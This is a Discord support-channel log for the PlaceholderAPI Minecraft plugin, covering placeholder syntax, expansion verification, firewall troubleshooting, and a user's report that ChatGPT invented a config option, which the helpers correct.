@jolly field try what I said here wit this PlayerList jar: https://cdn.discordapp.com/attachments/1037755414764331098/1171444650050060308/Playerlist-Expansion-3.0.4.jar?ex=655cb3d8&is=654a3ed8&hm=3f064d6ecb82baaec185d57167e8f80b25da5ff547244249af3e178ea151231a&
uploaded it to the ecloud if a staff member can verify it 🙏
aight
is this the right format? %worldguard_nethpot%=region1,%worldguard_diapot%=region2,%worldguard_ironpot%=region3
alr ill check it
Wdym like the _nethpot is the region name
uh
%worldguard_region_name%=nethpot then
the placeholder to get the player's region is %worldguard_region_name%
and the region you want to check is nethpot right?
ye
yeah then %worldguard_region_name%=nethpot
%worldguard_region_name%=<region1>,%worldguard_region_name%=<region2>...
like if theres 10 player's in nethpot region, jtll show the number 10 right
like I said here
if you retrieve the list with the amount output type (=%playerlist_<listName>_amount%) then yes
you can also retrieve the list of players, or you can get a specific player with a number starting from 0
then i should use %playerlist_myregion_amount% ?
No 💀
thank god I sent you the wiki link right?
lmaoo alr alr
How to get Unix Time Stamp as placeholder?
Are there placeholders to check meta values that can be assigned with DeluxeMenus via the Spigot persistent metadata API?
found it: %deluxemenus_meta_<key>_<dataType>_<default_value>%
I think I can just do this with the deluxemenus meta system.
Please respect the rules, be patient and don't ping staff members!
yeah... that's how meta works :L
I am trying to use the pinger_isonline placeholder which works on my Hub servers that are on the same VLAN as the Watefall Proxy. When I try to use it on servers that on are the same Waterfall proxy network it doesn't work, but I it can ping it from the proxy network.
I.E. From my hubs which is on 10.1.20.X I can parse %pinger_isonline_10.0.0.10:25561% and it returns online. But if I go to the Hub that is on 10.0.0.10 and try to parse %pinger_isonline_10.0.0.10:25561% it shows offline which is false. Any idea what my be blocking it?
my placeholderapi plug-in doesn't want to work even being updated to the latest on spigot.
hello guys any idea how i can make the null or emply word return as fulse
i already make one
and its giving issue to me
// Check if the provided data is null or undefined
if (data=== null || data=== undefined) {
return false;
}
// Convert the data to a string and remove leading/trailing whitespace
data= data.toString().trim();
// Check if the string is empty
if (data=== '') {
return false;
}
// Array of data numbers that can be recycled
var recyclableNumbers = [144, 146 ];
// Check if the provided data is in the recyclableNumbers array
if (recyclableNumbers.includes(parseInt(data))) {
return true;
}
return false; // Return false for other cases
this is my code and the checking if not and same value is working but the null is not
any error while the server stating???
like (its up to date) error or something else
Is there a way to make a non existant variable just blank rather than N/A ?
changeoutput
%changeoutput_equals_input:{placeholder}_matcher:N/A_ifmatch:_else:{placeholder}%
I'm having trouble figuring out how to use the variable I want in that syntax
%player_timer.{uuid}%
replace placeholder with player_timer.{uuid}
it might work
the {uuid} might throw it off though
wait, that's not a papi placeholder
where did you get that placeholder from @strange stump
does it have to be a papi placeholder? its just from a diff plugin
well you're asking in the papi support channel
not sure what else you're trying to do
yea but im using papi as the intermediate
so what is the papi placeholder for the variable?
idk idk what im doing
where do you see N/A?
on tab where i have set the variable (currently non existant)
what plugin do you use for tab
TAB by neznamy
Paste Services
When asking for help with a config/menu/code issue please use our paste bin:
(we prefer it over pastebin.com)
• HelpChat Paste - How To Use
can you type /papi dump
skript
do you know which skript expansion you have? you should avoid using one that uses player identifier
i don't know why one would do that
I have this one: https://api.extendedclip.com/expansions/skippi/
it was the only one i could find
ya.. that's the right one to use
but the placeholder shouldn't be %player_timer.{uuid}%
it should be %skript_...%
presumably %skript_timer.{uuid}%
maybe?
type /papi parse me %player_timer.{uuid}%
so %skript_player_clan.{uuid}% player is just part of the variable name
ohhhhh
i see
you were just missing skript_
the variable name starts with player
so type /papi parse me %skript_player_clan.{uuid}%
it returns N/A and if i set the variable it returns the right variable
%changeoutput_equals_input:{skript_player_timer.{uuid}}_matcher:N/A_ifmatch:_else:%
would it be like this
yea but i have weird stuff all over in this server
yes, but you forgot {placeholder} at the end
.
when i have that it returns {placeholder} in literal text when variable is N/A
is N/A colored?
nope its a representation of the variable doesnt exist
not that the variable is set to "N/A"
i am aware
but the value is returned
when you type /papi parse me %skript_player_timer.{uuid}% is N/A colored at all?
no
also you shouldn't put {placeholder} literally
you put your placeholder
but it should only return that when it's NOT N/A

it returns it whether its N/A or not right now which is why i think i incorporated the variable in wrong
oh right if the placeholder fails ya
somebody did this the other day to get around it i think sort of
hmm
what if you also use utils
%utils_parse_changeoutput_equals_input:{skript_player_timer.{uuid}}_matcher:N/A_ifmatch:_else:{skript_player_timer.{uuid}}%
if this doesn't work, then if you put the user's actual uuid instead of {uuid} would that work?
ya know what
nevermind all this @strange stump
I just remembered...
TAB has a feature for this https://github.com/NEZNAMY/TAB/wiki/Feature-guide:-Placeholder-output-replacements
no way
fr
i literally asked the tab dude
😮
before coming here 😭
So I have figured out what is preventing it from being pinged. The firewall for the VM was blocking it. When I disable it then pinger works fine. Now the question is what port does pinger user to check if the server is online/offline. One would think it is the configured server port but it doesn't appear to be that way.
Figured it out now bro thanks 😭❤️
it does use the configured one
if it used the wrong port it wouldn't be able to ping the server whether the firewall was on or off
In my case it pings it when it is off, but as soon as I turn it on then it blocks it. I tried adding a rule to allow those server ports through but it still blocks it.
I got it sorted. I was creating the rule wrong. I probably should be binding these to the interface, but I am too lazy for that.
Does anyone know of a placeholder expansion that has a placeholder that will return the max size of an item stack?
Hello! I have a lobby with the ability to switch to game servers, I made holograms displaying the number of players on the servers through the %bungee_server% placeholder. Everything works, the number of players is updated with a slight delay, but this is not critical. The problem is that the number of players is updated only when someone is in the lobby, and if there are no players in the lobby, then the last value is saved. Is there anyway to make a constant update of fillers regardless of the presence of players in the lobby? I tried the ChunkLoader plugin, but it doesn't help.
How to get Unix Time Stamp as placeholder?
Hey to all, I need a little bit help
I have a server in which the scoreboard is not working perfectly. I have scoreboard like this
Rank - Member
In my case
Rank - %rankup_current_rank%
Hello, is there a placeholder to retrieve the name of an item according to the player's language?
@analog solstice can you help me?
What's really going wrong?
See general plugin 2
mention me
@analog solstice check dm
How to get Unix Time Stamp as placeholder?
i don't think it currently exists @real parrot
please help me on #1007620980627230730
How do people usually implement timers?
there is a countdown placeholder
simple date format
@real parrot 
or are you looking for cooldowns or something
I guess cooldown (countdown, tracking time since specific point, idk)
hmm count up?
I want Time Stamp because it can be stored as number, and I can store numbers as player scoreboard value (good number storage)
probably want a custom expansion
No one ever done it?
seems pretty niche
Maybe there is javascript thing for it?
is what
#announcements message
@broken cipher
ok good
so only incompetent server owners can get trapped in this
btw
if we have custom papi expansions, how do we import them back (can we just add back in config manually allow unverfiied expansions boolean value to true?)
like is it entirely removed
the boolean is only for downloading them from the ecloud
any expansion in your folder will still load
so if i compile in my own environment i can just drag and drop expansion.jar
oh ok
thanks!
var time = Math.floor(Date.now() / 1000); time.toFixed();
is it ok to do javascript like that? (taking parts of working scripts until it works)
im trying to access player specific placeholders (ex: %vault_eco_balance%) from a JS application. searched everywhere for a possible solution and couldnt find much, asked chatgpt and it told me to use PlaceholderAPI's endpoints. Asking it further, it tells me to "add or modify" placeholders in my config.yml and provides this snippet of yaml:
expansions:
player_data:
placeholders:
- player_name
- player_health
- player_location
Questions:
- i cant seem to find the YAML code in the config.yml, am i supposed to add it?
- how does accessing the endpoints work?
- how do i use endpoints (i want to expose the
%vault_eco_balance%placeholder for usage on my JS application)
that config option doesn't exist
you just use the placeholders, that's it
i always knew chatgpt made up stuff, but not to this extent... no wonder i couldnt find it anywhere
how do i use placeholders
on an external application
that doesnt run on the server
ah, you need to expose the data then, with some sort of rest api 🙂 I believe there is a third party plugin that does that
i want to be able to read player vault balance using the JS app, and no a DB is not an option, i want more than one placeholder
can youplease elaborate? or give me starting point
so i can search up
The data is on the server, and you want to access it from the outside, so you need a system that exposes the data using something like a REST API
if you search "placeholderapi rest api" you might find some resource on spigot
but be aware that we don't support that plugin, and if you have any issues/questions about it, you will have to contact the author
ok
" While it supports placeholderAPI, allowing it to support most PlaceholderAPI supported plugins, some placeholders will return an empty string, due to the fact that they cannot parse as an offline player, but will work when the player is online "
do you have any other idea on how i can grab player data when they're offline?
i didnt test it yet so i dont know
https://paste.helpch.at/ihuyofatar.rb
I get this error when I start the server and when I try to use plugin commands. Please help me.
is there a way to get an output from a papi placeholder for another player other than OtherPlayer ?
the ParseOther expansion allows you to do that
though keep in mind that if you use it on offline players, there's no guarantee that it'll work, as not all placeholders support offline players
help please guys
@sharp jay can i get verify? https://api.extendedclip.com/expansions/hex/
Please respect the rules, be patient and don't ping staff members!
I’ll check it out once I’m back on my pc
Use https://paste.helpch.at/ for errors, logs and configs. So we don't spam the discord.
while running papi parse me %lifesteal_hearts%
the placeholder Is from LifestealCore
and its working normally on my scoreboard, but not on others plugin
ping me for help
redownload changeoutput jar, seems to be corrupted
@midnight oar bro why do you keep coming back?
Is it possible with any placeholder to put x amount of characters ?
for example
%placeholder_" "_4" which would add 4 space characters ?
i need help with placeholders
api
Playing: %math_{world_players_survival}+{world_players_survival_nether}+{world_players_survival_the_end}%
its showing playing 0.00
How can i remove decimals
can anyone help
@sharp jay
Please respect the rules, be patient and don't ping staff members!
math_0_....
im using an external plugin that gave me a specific value from a player, using it on my scoreboard works perfectly, but then when i use a discord integration to make show that placeholder on discord an error occours, and it work only when the player is online
it's up to the placeholder's dev to make it work
yeah, the plugin is trying to get the player's uuid but the player is null (because it's offline)
so i can't do nothing about that right?
not really, you can ask the dev if they're willing to use the OfflinePlayer instance (for both online and offline players) instead of the Player one (which is only for online players) to get the UUID, but that'll just avoid the error, the dev will have to make the plugin be able to retrieve offline players' information as well, not just the uuid
oh ok thank you
Is there any placeholder expansion to change the result of another placeholder?
What exactly are you trying to do?
I'm trying to change the date language "months, days, etc" of the luckperms plugin's time placeholder "%luckperms_primary_group_name%". It is possible?
You could look into using the javascript expansion, if you are feeling up to a bit of tinkering
Tyy
i'm no longer doing this, i have stopped my activity, you can even decompile the jar file
also check it - https://github.com/PlaceholderAPI/PlaceholderAPI/pull/1014
Please respect the rules, be patient and don't ping staff members!
Please respect the rules, be patient and don't ping staff members!
Hm?
I already told you we don't offer support, and this isn't the right place to ask anyways, go to #general-plugins
And the message was deleted by Barry probably because it had a masked link
@sharp jay?
Please respect the rules, be patient and don't ping staff members!
ATM it will not be approved
why?
Please respect the rules, be patient and don't ping staff members!
You know exactly why lmao 🤣
no i don't lol
it's literally a clean expansion
without any stealer/rats/hacks/backdoors/whitedoors etc
just h3x
Your past encounters
adam..
I don’t care you tried to pull some stuff last time
it's clean
yeah for security purposes